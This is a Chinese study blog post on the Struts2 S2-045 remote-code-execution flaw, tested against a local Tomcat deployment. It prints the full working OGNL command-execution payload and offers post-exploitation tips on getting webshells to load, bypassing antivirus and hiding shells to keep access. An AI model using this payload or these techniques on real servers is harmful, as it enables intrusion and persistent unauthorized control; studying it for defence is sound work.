君は春の中にいる、かけがえのない春の中にいる.

你驻足于春色中,于那独一无二的春色之中.

Struts2-S2-045漏洞学习及其他

Struts2的环境有时候显得有些庞大而复杂,这里借着漏洞学习的过程了解一下Tomcat+Struts2架构的一些问题,这么一看重要的学习其他而不是漏洞了~~。

修改:2017.3.23

0x01 Java+Tomcat+Struts2

之前很少接触Java环境下的Web问题,对于Jboss,Tomcat,Struts2,Weblogic等等的概念没有一下清晰的认识,通过查阅资料,有了如下的认识。

首先这些应用都是为了完成一个Java的Web服务,那么,在拥有Java环境的情况下,我们需要一个能够监听Web服务并且调度相关逻辑的服务器,这个就是Tomcat起到的作用。

和Tomcat具有同样身份作用的还有Jboss,Resin,Glassfish和Weblogic,那么其实Struts2都可以部署在这些Java容器中,这里就以Tomcat为例,一个运行成功的Tomcat应用如下图所示。

我们可以看一下默认的Tomcat目录

bin  # 启动/关闭服务的脚本
 |-bootstrap.jar  # 引导程序
 |-commons-daemon.jar  # 守护程序
 |-tomcat-juli.jar  # java util logging 日志管理
 |-daemon.sh
 |-startup.sh
 |-shutdown.sh
 |-setclasspath.sh  # 动态设置JAVA变量,内部使用
 |-digest.sh  #  使用特殊的算法加密
 |-tool-wrapper.sh  # 封装工具,内部使用
 |-version.sh  #  检测版本
 |-configtest.sh  # 测试配置文件语法
 |-catalina.sh  #  启动相应的java程序
 |-catalina-tasks.xml  # 加载包路径
conf
 |-Catalina  # 默认似乎是空的,可以用来配置项目路径
 |-catalina.properties  # catalina的安全设置、类加载设置、字符缓存设置
 |-catalina.policy  # 安全策略
 |-jaspic-providers.xml  # 身份验证模块配置
 |-jaspic-providers.xsd  # 似乎xsd在这里是变量定义 
 |-logging.properties  # 日志记录配置
 |-tomcat-users.xml  
 |-web.xml  # Web基础配置
 |-context.xml  # 配置策略的路径
 |-server.xml  # 服务端信息配置,端口,日志存储方式,根路径等等    
lib
 |-*.jar  # java封装库
logs
 |-*.log  # 日志存储文件
temp
webapps
 |-*.war  # 打包的Web程序
 |-*  # 自动解压的Web 页面程序
work
 |-*  # 对应webapps的类库

*安全策略,包括对于一些系统变量的读取限制,特殊的函数执行限制,文件的读写控制

下图是一张Tomcat的层级关系

简单认识了一下Tomcat的结构后,我们来部署一个含有S054漏洞的struts2应用,下载struts2后,拷贝apps中的structs2-blank.war到Tomcat的webapps目录下,重启Tomcat,就会自动解压war包。

访问 http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action
就可以访问到一个struts自带的欢迎界面

我们尝试修改解压出来的应用文件夹名为ROOT,发现在没有任何配置的情况下,tomcat会默认访问ROOT文件夹,而其他文件夹可以通过路由访问,当然前提是策略允许访问,

同时,我在之前提到了路径还可以配置在conf中,我们尝试创建一个指定根路径为structs2-blank的配置文件于conf/Catalina/localhost中也可以实现当Web文件不在webapps中时的路由访问。

再来看一下struts默认的目录结构

docs  # 文档
apps  # struts2的war包,提供样例参考
 |-blank
 |-mailreader
 |-portlet
 |-rest-showcase
 |-showcase
lib  # jar包库
src  # struts2的源码

我们使用blank来做测试用,blank基本展示了struts2应用应该有的几部分:

WEB-INF
|-web.xml  # 过滤器配置文件以及基础路径配置
|-src  # 源码
|-lib  # jar库
|-jsp  # jsp文件夹
|-classes  # 类和其他配置文件文件夹
META-INF  # 元信息

0x02 漏洞测试

这里就直接使用struts2自带的欢迎页面来测试:

http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action

先利用网上流传的工具来进行测试:

确实存在漏洞,这个时候我们抓包进行细节的复现。在GET包中增加Content-Type字段,使用网上流传的Payload:

%{
(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance
(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess
(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty
('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new 
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=
(@org.apache.struts2.ServletActionContext@getResponse
().getOutputStream())).(@org.apache.commons.io.IOUtils@copy
(#process.getInputStream(),#ros)).(#ros.flush())
}

对上面一段payload进行格式整理

%{
    (#nike='multipart/form-data').  访问非根对象nike
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).  调用静态方法
    (
    #_memberAccess?
        (#_memberAccess=#dm):
        (
            (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
            (
                #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)  创建类实例
            ).
            (#ognlUtil.getExcludedPackageNames().clear()).
            (#ognlUtil.getExcludedClasses().clear()).
            (
            #context.setMemberAccess(#dm)
            )
        )
    ).
    (#cmd='whoami').
    (
        #iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))
    ).
    (
    #cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})
    ).
    (
    #p=new java.lang.ProcessBuilder(#cmds)
    ).
    (#p.redirectErrorStream(true)).
    (#process=#p.start()).
    (
    #ros=
        (
        @org.apache.struts2.ServletActionContext@getResponse().getOutputStream()
        )
    ).
    (
    @org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)
    ).
    (#ros.flush())
}

根据大牛们的解读文章,可以了解到

首先是multipart/form-data绕过类型判断,然后调用了@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS这个方法给了#_memberAccess这个节点,然后就是利用java.lang.ProcessBuilder执行预定的cmd命令,对执行后的错误流进行重定向显示。~~当然这只能算是对于这段payload的主观感觉猜测。

详细的底层分析可以阅读这篇文章

http://paper.seebug.org/247/

0x03 JSP解析的问题

有朋友在测试时发现,在有漏洞的站点执行命令是很容易的,反弹Shell也可以轻松完成,但上传Webshell就不见得每次都能够顺利完成,而很多时候如果能使用Webshell进行图形界面操作会更加方便。这里就常见的几种上传失败情况进行总结。

1.上传成功但解析跳转:

这种情况对应到之前说到的路由关系,我们仍然使用struts2-blank来测试。

blank默认情况下,有策略限制直接跳转到jsp。

访问URL:struts2-blank/WEB-INF/jsp/example/Login.jsp,页面会显示403。
这个时候发现访问Login.action可以访问成功。此时,如果在当前文件夹下上传test.jsp,必须使用test或者test.action来访问。

值得一提的是,这种对攻击者上传文件的成功访问是基于以下这条规则:

<action name="*" class="example.ExampleSupport">
    <result>/WEB-INF/jsp/example/{1}.jsp</result>
</action>

简单解释一下,class相当于处理逻辑(Model?),然后对action 的name进行全匹配,将匹配到的文件名进行相应的jsp(View?)跳转。

而之所以test和test.action都可以被访问到应该是一种缺省规则,在struts.xml中添加如下规则:

<constant name="struts.action.extension" value="action"></constant>

此时,test就无法被访问到。

从上面这种情况来看,跳转的原因首先是对接收的后缀进行匹配,其次是相关action动作的处理,那么我们就可以通过添加和上面相似的规则来实现Webshell的访问。

这里就不得不提一下struts的运行机制

struts.xml,这个按照我的理解就相当于是一个控制器,进行路由控制
    |
    |
   \ /
  class,当路由得到相应的action名后,以相应的method来调用class处理逻辑
    |
    |
   \ /
   jsp,根据处理逻辑的不同,跳转给用户相应的显示页面

这里从我理解的MVC的角度进行解释,根据我查阅的资料,再往下走应该是struts2的filter机制,这里我就先不去理解了。

2.上传成功,解析出错

这种情况主要分为两种,一种是解析错但菜刀依然可以执行,另一种是类文件或者库文件缺失,个人猜测通过上传相应的文件到lib或者classes文件夹来进行尝试,但因为缺乏相应的测试条件,这个问题先留在这里,后面实践了再来补写。

————————————————————2017.3.23 更新

最近测试的时候发现,解析出错还有一种情况会导致Getshell失败,那就是服务端自己写了错误显示用的jsp,这样就会导致shell上传成功后,显示状态500,一般情况下状态500并不会影响shell连接,但是服务端自己实现500后可能会写入一个跳转操作,跳转回根目录,自然shell就无法访问到。

这种时候,我们可以利用struts2的漏洞来改写服务端的错误处理代码,禁止出错跳转,是的shell可以被访问到。

3.负载均衡

测试中发现,很多Jboss的站会用到负载均衡,导致shell 404,这种情况一种是多试几次,反正有一次应该能够连上,一种是保证每台机器上都有Wenshell。

————————————————————

4.无法上传

根据朋友讲的他遇到的经历,无法上传主要有以下几种情况:

  • 有防护软件进行文件查杀,这种可以通过一些特殊的Shell来绕过
  • 长度限制,这种存在于一些服务器对于请求包有所限制,导致过长的shell无法成功上传。
  • 在手动写文件时,还有些服务器禁用echo等写文件命令也会导致文件出错

0x04 其他

在实际测试中发现,许多struts2的应用广泛使用了许多其他中间件,比如Hiberate、HyperSQL、FirebirdSQL等等平时没有使用到的框架或者数据库,还有会使用其他Web服务器的情况,比如JBoss。

————————————————————2017.3.23 更新

这里在补充一下shell方面的学习

1.war包shell

这种需要服务器开启了热部署相关的应用才能使用,当然~~你愿意重启整个WEB服务也可以,将jsp和WEB-INF打包成一个war包上传,可以实现一个新的路径下的访问。

http://www.freebuf.com/articles/web/36455.html

这篇文章提到了具体的操作步骤。

2.jspx shell

园长在乌云上的JavaWeb系列讲解过,jspx是以xml语法来写jsp文件。个人理解是使用xml语法来规范jsp语法到html。

当然园长的文章中提到,只要修改tomcat的conf中的web.xml,可以任意后缀解析。

3.shell隐藏

同样JavaWeb系列文章中提到了诸如jar包等隐藏方法。

这里我复现的是91ri的《利用 Java Binary Webshell 对抗静态检测》,里面提到在tomcat下通过修改Catalina的配置文件,来做jsp文件更改延迟,达到欺骗引擎一直返回给浏览器字节码的目的,进而将Webshell隐藏在字节码中,实现无shell jsp文件下的理论上的权限维持

当然,说是理论上,因为Tomcat只能延迟检测,不能完全去除检测,不知道对Tomcat框架理解深入的大牛们有没有方法完全规避检测~~

————————————————————